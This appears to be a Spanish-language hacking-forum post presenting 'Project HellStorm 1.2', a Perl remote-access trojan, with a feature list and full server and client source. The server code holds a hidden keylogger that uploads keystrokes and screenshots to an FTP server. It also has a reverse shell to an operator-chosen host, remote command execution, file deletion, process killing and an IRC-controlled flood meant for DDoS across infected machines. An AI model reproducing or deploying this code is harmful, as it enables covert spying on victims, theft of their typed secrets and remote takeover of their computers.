[++] Opciones del troyano
[+] Navegador de archivos : borrar,renombrar
[+] Da informacion sobre la computadora
[+] Abrir y cerrar CD
[+] Ocultar y mostrar barra de inicio o iconos del escritorio
[+] Hacer hablar a la computadora para que diga lo que queramos
[+] Mandar mensajitos
[+] Consola de comandos
[+] Administracion de procesos
[+] ReverseShell
[+] Cambiar fondo de escritorio
[+] Mover mouse
[+] Cargar word para que escriba solo
[+] DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
[+] Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP
Una imagen :
Los codigos :
server.pl
#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015
#Necessary modules
#
#ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#
#Use "perl2exe -gui server.pl" to hide console
#
use Win32::OLE;
use Win32::OLE qw(in);
use Win32::Process;
use Win32;
use Win32::API;
use Win32::GuiTest
qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
use IO::Socket;
use Win32::Job;
use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);
if ( $^O eq 'MSWin32' ) {
use Win32::Console;
Win32::Console::Free();
}
# FTP Configuration
my $host_ftp = "localhost"; # Edit
my $user_ftp = "doddy"; # Edit
my $pass_ftp = "123"; # Edit
# IRC Configuration
my $host_irc = "localhost"; # Edit
my $canal_irc = "#locos"; # Edit
my $port_irc = "6667"; # Edit
my $nick_irc = dameip(); # Edit
# Threads
# You must comment on the thread that you will not use
my $comando4 = threads->new( \&conexion_directa );
#my $comando5 = threads->new( \&keylogger );
#my $comando6 = threads->new(\&ircnow);
$comando4->join();
#$comando5->join();
#$comando6->join();
#
sub ircnow {
my $soquete = new IO::Socket::INET(
PeerAddr => $host_irc,
PeerPort => $port_irc,
Proto => "tcp"
);
print $soquete "NICK $nick_irc\r\n";
print $soquete "USER $nick_irc 1 1 1 1\r\n";
print $soquete "JOIN $canal_irc\r\n";
while ( my $logar = <$soquete> ) {
print "\r\n";
chomp($logar);
if ( $logar =~ /^PING(.*)$/i ) {
print $soquete "PONG $1\r\n";
}
if ( $logar =~ /:$nick_irc help/g ) {
my @commands = (
"msgbox <>", "getinfo",
"cmd <>", "dir",
"cd <>", "del <>",
"rename :<>:<>:", "cwd",
"verlogs", "word :<>:",
"crazymouse", "cambiarfondo :<>:",
"opencd", "closedcd",
"dosattack :<>:<>:<>:", "speak :<>:",
"iniciochau", "iniciovuelve",
"iconochau", "iconovuelve",
"backshell :<>:<>:", "procesos",
"cerrarproceso :<>:<>:"
);
print $soquete
"PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
for (@commands) {
print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
}
}
if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
my $msg = $1;
chomp $msg;
cheats( "mensaje", $msg );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc getinfo/g ) {
my $re = getinfo();
if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
}
}
if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
my $cmda = $1;
chomp $cmda;
my @re = cmd($cmda);
for (@re) {
print $soquete "PRIVMSG $canal_irc : $_\r\n";
}
}
if ( $logar =~ /:$nick_irc dir/ ) {
my @files = navegador("listar");
for (@files) {
if ( -f $_ ) {
print $soquete "PRIVMSG $canal_irc : [File] : " . $_
. "\r\n";
}
else {
print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
. "\r\n";
}
}
}
if ( $logar =~ /:$nick_irc cd (.*)/ ) {
my $di = $1;
chomp $di;
if ( navegador( "cd", $di ) ) {
print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
}
else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}
}
if ( $logar =~ /:$nick_irc del (.*)/ ) {
my $file = $1;
chomp $file;
if ( navegador( "borrar", $1 ) ) {
print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
}
else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}
}
if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
my ( $a, $b ) = ( $1, $2 );
if ( navegador( "rename", $a, $b ) ) {
print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
}
else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}
}
if ( $logar =~ /:$nick_irc cwd/ ) {
print $soquete "PRIVMSG $canal_irc : [+] Directory : "
. getcwd() . "\r\n";
}
if ( $logar =~ /:$nick_irc verlogs/ ) {
print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
my @word = openfilex("logs.txt");
for (@word) {
sleep 3;
print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
}
}
if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
my $msg = $1;
cheats( "word", $msg );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc crazymouse/ig ) {
cheats("crazymouse");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
my $url = $1;
chomp $url;
cheats( "cambiarfondo", $url );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc opencd/ig ) {
cheats( "cd", "1" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc closedcd/ig ) {
cheats( "cd", "0" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
my ( $i, $p, $t ) = ( $1, $2, $3 );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
dosattack( $i, $p, $t );
}
if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
my $t = $1;
chomp $t;
cheats( "speak", $t );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc iniciochau/ ) {
cheats( "inicio", "1" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
cheats( "inicio", "0" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc iconochau/ ) {
cheats( "iconos", "1" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc iconovuelve/ ) {
cheats( "iconos", "0" );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
backshell( $1, $2 );
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ( $logar =~ /:$nick_irc procesos/ ) {
my %vida = adminprocess("listar");
print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
. int( keys %vida ) . "\r\n";
for my $data ( keys %vida ) {
print $soquete "PRIVMSG $canal_irc : [+] Process : "
. $data
. " [+] PID : "
. $vida{$data} . "\r\n";
}
}
if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
my ( $b, $a ) = ( $1, $2 );
if ( adminprocess( "cerrar", $a, $b ) ) {
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
}
}
}
sub conexion_directa {
my $sock = IO::Socket::INET->new(
LocalPort => 666,
Listen => 10,
Proto => 'tcp',
Reuse => 1
);
while ( my $con = $sock->accept ) {
$resultado = <$con>;
if ( $resultado =~ /msgbox (.*)/ig ) {
my $msg = $1;
cheats( "mensaje", $msg );
}
if ( $resultado =~ /infor/ig ) {
print $con getinfo();
}
if ( $resultado =~ /word :(.*):/ig ) {
my $msg = $1;
cheats( "word", $msg );
}
if ( $resultado =~ /crazymouse/ig ) {
cheats("crazymouse");
}
if ( $resultado =~ /cambiarfondo (.*)/ig ) {
my $url = $1;
cheats( "cambiarfondo", $url );
}
if ( $resultado =~ /opencd/ig ) {
cheats( "cd", "1" );
}
if ( $resultado =~ /closedcd/ig ) {
cheats( "cd", "0" );
}
if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
my ( $i, $p, $t ) = ( $1, $2, $3 );
dosattack( $i, $p, $t );
}
if ( $resultado =~ /speak :(.*):/ig ) {
my $t = $1;
cheats( "speak", $t );
}
if ( $resultado =~ /iniciochau/ ) {
cheats( "inicio", "1" );
}
if ( $resultado =~ /iniciovuelve/ ) {
cheats( "inicio", "0" );
}
if ( $resultado =~ /iconochau/ ) {
cheats( "iconos", "1" );
}
if ( $resultado =~ /iconovuelve/ ) {
cheats( "iconos", "0" );
}
if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
backshell( $1, $2 );
}
if ( $resultado =~ /comando :(.*):/ig ) {
my $cmd = $1;
my @re = cmd($cmd);
print $con @re;
}
if ( $resultado =~ /mostrarpro/ ) {
my %vida = adminprocess("listar");
for my $data ( keys %vida ) {
print $con "PROXEC" . $data . "PROXEC\r\n";
print $con "PIDX" . $vida{$data} . "PIDX\r\n";
}
}
if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
my ( $b, $a ) = ( $1, $2 );
if ( adminprocess( "cerrar", $a, $b ) ) {
print $con "ok";
}
}
if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
my $di = $1;
if ( navegador( "cd", $di ) ) {
print $con "ok";
}
}
if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
if ( navegador( "borrar", $1 ) ) {
print $con "ok";
}
}
if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
if ( navegador( "borrar", $1 ) ) {
print $con "ok";
}
}
if ( $resultado =~ /rename :(.*):(.*):/ ) {
my ( $a, $b ) = ( $1, $2 );
if ( navegador( "rename", $a, $b ) ) {
print $con "ok";
}
}
if ( $resultado =~ /getcwd/ ) {
print $con getcwd();
}
if ( $resultado =~ /verlogs/ ) {
print $con openfile("logs.txt");
}
if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
my @files = navegador("listar");
for (@files) {
if ( -f $_ ) {
print $con "FILEX" . $_ . "FILEX" . "\r\n";
}
else {
print $con "DIREX" . $_ . "DIREX" . "\r\n";
}
}
}
}
}
sub keylogger {
my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
my $tengo = 0;
hideit( $0, "hide" );
my $comando1 = threads->new( \&capture_windows );
my $comando2 = threads->new( \&capture_keys );
my $comando3 = threads->new( \&capture_screen );
$comando1->join();
$comando2->join();
$comando3->join();
sub capture_windows {
while (1) {
my $win1 = GetForegroundWindow();
my $win2 = GetForegroundWindow();
if ( $win1 != $win2 ) {
my $nombre = GetWindowText($win1);
chomp($nombre);
if ( $nombre ne "" ) {
savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
}
}
}
return 1;
}
sub capture_keys {
while (1) {
my $test1;
my $test2;
for my $num ( 0x30 .. 0x39 ) {
if ( dame($num) ) {
savefile( "logs.txt", chr($num) );
}
}
if ( dame(0x14) ) {
$test1 = 1;
$tengo++;
}
for my $num ( 0x41 .. 0x5A ) {
if ( dame($num) ) {
if ( dame(0x20) ) {
savefile( "logs.txt", " " );
}
if ( dame(0x32) ) {
savefile( "logs.txt", "\n[enter]\n\n" );
}
unless ( verpar($tengo) eq 1 ) {
savefile( "logs.txt", chr($num) );
}
if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
$test2 = 1;
}
unless ( $test1 eq 1 or $test2 eq 1 ) {
if ( $num >= 0x41 ) {
if ( $num <= 0x5A ) {
if ( verpar($tengo) eq 1 ) {
savefile( "logs.txt", chr( $num + 32 ) );
}
}
}
}
}
}
}
return 1;
}
sub capture_screen {
$numero = 0;
while (1) {
sleep 120;
subirftp( "logs.txt", "logs.txt" );
$numero++;
SendKeys("%{PRTSCR}");
my $a = Win32::Clipboard::GetBitmap();
open( FOTO, ">" . $numero . ".bmp" );
binmode(FOTO);
print FOTO $a;
close FOTO;
hideit( $numero . ".bmp", "hide" );
subirftp( $numero . ".bmp", $numero . ".bmp" );
}
}
sub dame {
return ( $come->Call(@_) & 1 );
}
sub savefile {
open( SAVE, ">>" . $_[0] );
print SAVE $_[1];
close SAVE;
hideit( $_[0], "hide" );
}
sub hideit {
if ( $_[1] eq "show" ) {
Win32::File::SetAttributes( $_[0], NORMAL );
}
elsif ( $_[1] eq "hide" ) {
Win32::File::SetAttributes( $_[0], HIDDEN );
}
else {
print "error\n";
}
}
sub subirftp {
if ( $ser = Net::FTP->new($host_ftp) ) {
if ( $ser->login( $user_ftp, $pass_ftp ) ) {
$ser->mkdir( getmyip() );
$ser->binary();
if (
$ser->put(
getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
)
)
{
return true;
}
}
$ser->close;
}
}
sub verpar {
return ( $_[0] % 2 == 0 ) ? "1" : "2";
}
sub getmyip {
my $get = gethostbyname("");
return inet_ntoa($get);
}
}
sub getinfo {
return
":"
. Win32::DomainName() . ":"
. Win32::GetChipName() . ":"
. Win32::GetOSVersion() . ":"
. Win32::LoginName() . ":"
. Win32::GetOSName() . ":";
}
sub cheats {
my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
my $b = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );
if ( $_[0] eq "cambiarfondo" ) {
my $file = $_[1];
my $as =
new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
$as->Call( 20, 0, $file, 0 );
}
if ( $_[0] eq "speak" ) {
my $texta = $_[1];
my $hablax = Win32::OLE->new("SAPI.SpVoice");
$hablax->Speak( $texta, 0 );
}
if ( $_[0] eq "crazymouse" ) {
for my $number ( 1 .. 666 ) {
MouseMoveAbsPix( $number, $number );
}
}
if ( $_[0] eq "word" ) {
my $text = $_[1];
system("start winword.exe");
sleep 4;
SendKeys($text);
}
if ( $_[0] eq "cd" ) {
my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
my $rta = ' ' x 127;
if ( $_[1] eq "1" ) {
$ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
}
else {
$ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
}
}
if ( $_[0] eq "inicio" ) {
if ( $_[1] eq "1" ) {
$handlex = $as->Call( "Shell_TrayWnd", 0 );
$b->Call( $handlex, 0 );
}
else {
$handlex = $as->Call( "Shell_TrayWnd", 0 );
$b->Call( $handlex, 1 );
}
}
if ( $_[0] eq "iconos" ) {
if ( $_[1] eq "1" ) {
$handle = $as->Call( 0, "Program Manager" );
$b->Call( $handle, 0 );
}
else {
$handle = $as->Call( 0, "Program Manager" );
$b->Call( $handle, 1 );
}
}
if ( $_[0] eq "mensaje" ) {
if ( $_[1] ne "" ) {
my $msg = $_[1];
chomp $msg;
Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
}
}
}
sub backshell {
my ( $ip, $port ) = ( $_[0], $_[1] );
$ip =~ s/(\s)+$//;
$port =~ s/(\s)+$//;
conectar( $ip, $port );
tipo();
sub conectar {
socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
open( STDIN, ">&REVERSE" );
open( STDOUT, ">&REVERSE" );
open( STDERR, ">&REVERSE" );
}
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ( $^O =~ /Win32/ig ) {
infowin();
system("cmd.exe");
}
else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}
sub infowin {
print "[+] Domain Name : " . Win32::DomainName() . "\n";
print "[+] OS Version : " . Win32::GetOSName() . "\n";
print "[+] Username : " . Win32::LoginName() . "\n\n\n";
}
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}
}
sub cmd {
my $job = Win32::Job->new;
$job->spawn(
"cmd",
qq{cmd /C $_[0]},
{
no_window => "true",
stdout => "logx.txt",
stderr => "logx.txt"
}
);
$ok = $job->run("30");
open( F, "logx.txt" );
@words = <F>;
close F;
unlink("logx.txt");
return @words;
}
sub adminprocess {
if ( $_[0] eq "listar" ) {
my %procesos;
my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
my $dos = $uno->ConnectServer( "", "root\\cimv2" );
foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
$procesos{ $pro->{Caption} } = $pro->{ProcessId};
}
return %procesos;
}
if ( $_[0] eq "cerrar" ) {
my ( $numb, $pid ) = ( $_[1], $_[2] );
if ( Win32::Process::KillProcess( $pid, $numb ) ) {
return true;
}
else {
return false;
}
}
}
sub navegador {
my $dir = $_[1];
chomp $dir;
$dir =~ s/(\s)+$//;
if ( $_[0] eq "borrar" ) {
if ( -f $_[1] ) {
if ( unlink( getcwd() . "/" . $_[1] ) ) {
return true;
}
else {
return false;
}
}
else {
if ( rmdir( getcwd() . "/" . $_[1] ) ) {
return true;
}
else {
return false;
}
}
}
if ( $_[0] eq "cd" ) {
if ( chdir $dir ) {
return true;
}
else {
return false;
}
}
if ( $_[0] eq "rename" ) {
if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
return true;
}
else {
return false;
}
}
if ( $_[0] eq "listar" ) {
my @archivos = coleccionar( getcwd() );
my @all;
for my $test (@archivos) {
push( @all, $test );
}
return @all;
}
sub coleccionar {
opendir DIR, $_[0];
my @archivos = readdir DIR;
close DIR;
return @archivos;
}
}
sub dosattack {
for ( 1 .. $_[2] ) {
IO::Socket::INET->new(
PeerAddr => $_[0],
PeerPort => $_[1],
Proto => "tcp"
);
}
}
sub openfile {
my $r;
open( FILE, $_[0] );
@wor = <FILE>;
close FILE;
for (@wor) {
$r .= $_;
}
return $r;
}
sub openfilex {
my @wor;
open( FILE, $_[0] );
@wor = <FILE>;
close FILE;
return @wor;
}
sub encriptar {
my ( $text, $op ) = @_;
my @re;
my @va = split( "", $text );
my %valor = (
"1" => "a",
"2" => "b",
"3" => "c",
"4" => "d",
"5" => "e",
"6" => "f",
"7" => "g",
"8" => "h",
"9" => "i",
"0" => "j",
"." => "k"
);
if ( $op eq "encode" ) {
for my $letra (@va) {
for my $data ( keys %valor ) {
if ( $data eq $letra ) {
$letra =~ s/$data/$valor{$data}/g;
push( @re, $letra );
}
}
}
}
if ( $op eq "decode" ) {
for my $letra (@va) {
for my $data ( keys %valor ) {
if ( $valor{$data} eq $letra ) {
$letra =~ s/$valor{$data}/$data/g;
push( @re, $letra );
}
}
}
}
return @re;
}
sub dameip {
my @wor = encriptar( getmyip(), "encode" );
for (@wor) {
$resultado .= $_;
}
return $resultado;
}
# The End ?
client.pl#!usr/bin/perl
#Project HellStorm 1.2
#(C) Doddy Hackman 2015
use IO::Socket;
use Cwd;
&menu;
# Functions
sub clean {
my $os = $^O;
if ( $os =~ /Win32/ig ) {
system("cls");
}
else {
system("clear");
}
}
sub head {
clean();
print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";
}
sub menu {
&head;
print "[+] Target : ";
chomp( my $ip = <STDIN> );
my $socket = new IO::Socket::INET(
PeerAddr => $ip,
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
if ($socket) {
$socket->close;
&menuo($ip);
}
else {
print "\n\n[-] Server not infected\n";
<STDIN>;
&menu;
}
}
sub menuo {
&head;
print "[$_[0]] : Online\n\n";
print q(
1 : Information
2 : Files Manager
3 : Open CD
4 : Close CD
5 : Talk
6 : Message
7 : Console
8 : Hide taskbar
9 : Show taskbar
10 : Hide Icons
11 : Show Icons
12 : Process Manager
13 : Reverse Shell
14 : DOS Attack
15 : Change Wallpaper
16 : Word Writer
17 : Move Mouse
18 : See logs keylogger
19 : Change target
20 : Exit
);
print "[Option] : ";
chomp( my $opcion = <STDIN> );
if ( $opcion eq 1 ) {
print "\n\n[+] Information\n\n";
$re = daryrecibir( $_[0], "infor" );
if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
print "[+] Domain : $1\n";
print "[+] Chip : $2\n";
print "[+] Version : $3\n";
print "[+] Username : $4\n";
print "[+] OS : $5\n";
print "\n[+] Press any key to continue\n";
<stdin>;
}
&menuo( $_[0] );
}
elsif ( $opcion eq 2 ) {
menu1:
print "\n\n[+] Files Manager\n\n";
$cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
show( $_[0], "/" );
&menu2;
sub menu2 {
print "\n\n[Options]\n\n";
print "1 - Change directory\n";
print "2 - Rename\n";
print "3 - Delete File\n";
print "4 - Delete Directory\n";
print "5 - Return to menu\n\n";
print "[Opcion] : ";
chomp( my $op = <stdin> );
if ( $op eq 1 ) {
print "\n\n[+] Directory : ";
chomp( my $dir = <stdin> );
$ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
if ( $ver =~ /ok/ig ) {
print "\n\n[+] Directory changed\n\n";
}
else {
print "\n\n[-] Error\n\n";
<stdin>;
}
show( $_[0], $dir );
&menu2;
print "\n[+] Press any key to continue\n";
<stdin>;
}
elsif ( $op eq 2 ) {
print "\n\n[+] Name : ";
chomp( my $old = <stdin> );
print "\n\n[+] New name : ";
chomp( my $new = <stdin> );
$re = daryrecibir( $_[0], "rename :$old:$new:" );
if ( $re =~ /ok/ ) {
print "\n\n[+] File renamed\n\n";
}
else {
print "\n\n[-] Error\n\n";
}
print "\n[+] Press any key to continue\n";
<stdin>;
}
elsif ( $op eq 3 ) {
print "\n\n[+] File to delete : ";
chomp( my $file = <stdin> );
$re =
daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
if ( $re =~ /ok/ ) {
print "\n\n[+] File deleted\n\n";
}
else {
print "\n\n[-] Error\n\n";
}
print "\n[+] Press any key to continue\n";
<stdin>;
}
elsif ( $op eq 4 ) {
print "\n\n[+] Directory to delete : ";
chomp( my $file = <stdin> );
$re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
if ( $re =~ /ok/ ) {
print "\n\n[+] Directory deleted\n\n";
}
else {
print "\n\n[-] Error\n\n";
}
print "\n[+] Press any key to continue\n";
<stdin>;
}
elsif ( $op eq 5 ) {
&menuo( $_[0] );
}
else {
show( $_[0], "/" );
}
goto menu1;
}
}
elsif ( $opcion eq 3 ) {
daryrecibir( $_[0], "opencd" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 4 ) {
daryrecibir( $_[0], "closedcd" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 5 ) {
print "\n\n[+] Talk : ";
chomp( my $talk = <stdin> );
$re = daryrecibir( $_[0], "speak :$talk:" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 6 ) {
print "\n[+] Message : ";
chomp( my $msg = <stdin> );
daryrecibir( $_[0], "msgbox $msg" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 7 ) {
menu:
my $cmd, $re;
print "\n\n>";
chomp( my $cmd = <stdin> );
if ( $cmd =~ /exit/ig ) {
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
$re = daryrecibir( $_[0], "comando :$cmd:" );
print "\n" . $re;
goto menu;
&menuo( $_[0] );
}
elsif ( $opcion eq 8 ) {
daryrecibir( $_[0], "iniciochau" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 9 ) {
daryrecibir( $_[0], "iniciovuelve" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 10 ) {
daryrecibir( $_[0], "iconochau" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 11 ) {
daryrecibir( $_[0], "iconovuelve" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 12 ) {
&reload( $_[0] );
sub reload {
my @pro;
my @pids;
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
print $sockex "mostrarpro" . "\r\n";
$sockex->read( $re, 5000 );
$sockex->close;
chomp $re;
print "\n\n[+] Process Found\n\n";
while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
if ( $1 ne "" ) {
push( @pro, $1 );
}
}
while ( $re =~ /PIDX(.*?)PIDX/ig ) {
if ( $1 ne "" ) {
push( @pids, $1 );
}
}
$cantidad = int(@pro);
for my $num ( 1 .. $cantidad ) {
if ( $pro[$num] ne "" ) {
print "\n[+] Process : " . $pro[$num] . "\n";
print "[+] PID : " . $pids[$num] . "\n";
}
}
print q(
[Options]
1 - Refresh list
2 - Close process
3 - Return to menu
);
print "\n[Option] : ";
chomp( my $opc = <stdin> );
if ( $opc =~ /1/ig ) {
&reload( $_[0] );
}
elsif ( $opc =~ /2/ig ) {
print "\n[+] Write the name of the process : ";
chomp( my $numb = <stdin> );
print "\n[+] Write the PID of the process : ";
chomp( my $pid = <stdin> );
$re = daryrecibir( $_[0],
"chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
if ( $re =~ /ok/ig ) {
print "\n\n[+] Proceso killed\n\n";
}
else {
print "\n\n[-] Error\n\n";
}
print "\n[+] Press any key to continue\n";
<stdin>;
&reload( $_[0] );
}
elsif ( $opc =~ /3/ig ) {
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
else {
&reload;
}
}
}
elsif ( $opcion eq 13 ) {
print "\n\n[+] IP : ";
chomp( my $ip = <stdin> );
print "\n\n[+] Port : ";
chomp( my $port = <stdin> );
print "\n\n[+] Connected !!!\n\n";
$re = daryrecibir( $_[0], "backshell :$ip:$port:" );
}
elsif ( $opcion eq 14 ) {
print "\n\n[+] IP : ";
chomp( my $ipx = <stdin> );
print "\n\n[+] Port : ";
chomp( my $por = <stdin> );
print "\n\n[+] Count : ";
chomp( my $count = <stdin> );
print "\n\n[+] Command Send !!!!\n\n";
daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 15 ) {
print "\n\n[+] Image with format BMP : ";
chomp( my $id = <stdin> );
daryrecibir( $_[0], "cambiarfondo $id" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 16 ) {
print "\n\n[+] Text : ";
chomp( my $tx = <stdin> );
daryrecibir( $_[0], "word :$tx:" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 17 ) {
daryrecibir( $_[0], "crazymouse" );
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 18 ) {
print "\n\n[Logs]\n\n";
$re = daryrecibir( $_[0], "verlogs" );
print $re. "\n\n";
print "\n[+] Press any key to continue\n";
<stdin>;
&menuo( $_[0] );
}
elsif ( $opcion eq 19 ) {
&menu;
}
elsif ( $opcion eq 20 ) {
print "\n[+] Press any key to continue\n";
<stdin>;
exit 1;
}
else {
&menuo;
}
}
sub daryrecibir {
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
print $sockex $_[1] . "\r\n";
$sockex->read( $re, 5000 );
$sockex->close;
return $re . "\r";
}
sub show {
my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
print "\n\n[+] Directory : $re\n\n";
$re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
print "\n\n[Directories found]\n\n";
while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
if ( $1 ne "" ) {
print "[+] $1\n";
}
}
print "\n\n[Files found]\n\n";
while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
if ( $1 ne "" ) {
print "[+] $1\n";
}
}
}
#The End ?
Si quieren bajar el programa lo pueden hacer de aca : [Enlace externo eliminado para invitados].
[Enlace externo eliminado para invitados].
Eso seria todo.